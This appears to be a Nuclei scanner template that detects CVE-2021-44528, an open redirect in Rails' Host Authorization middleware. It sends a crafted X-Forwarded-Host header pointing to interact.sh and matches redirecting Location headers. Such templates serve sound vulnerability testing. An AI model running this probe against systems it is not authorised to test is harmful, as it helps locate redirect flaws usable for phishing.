id: CVE-2021-44528 info: name: Open Redirect in Host Authorization Middleware author: geeknik severity: medium description: Specially crafted "X-Forwarded-Host" headers in combination with certain "allowed host" formats can cause the Host Authorization middleware in Action Pack to redirect users to a malicious website. reference: - https://seclists.org/oss-sec/2021/q4/att-160/7-0-host-authorzation-open-redirect.patch - https://nvd.nist.gov/vuln/detail/CVE-2021-44528 - https://github.com/rails/rails/commit/0fccfb9a3097a9c4260c791f1a40b128517e7815 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2021-44528 cwe-id: CWE-601 tags: cve,cve2021,redirect requests: - raw: - | GET / HTTP/1.1 Host: {{Hostname}} X-Forwarded-Host: //interact.sh matchers-condition: and matchers: - type: regex part: header regex: - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)?(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$' - type: status status: - 301 - 302 - 307 - 308 # Enhanced by mp on 2022/02/28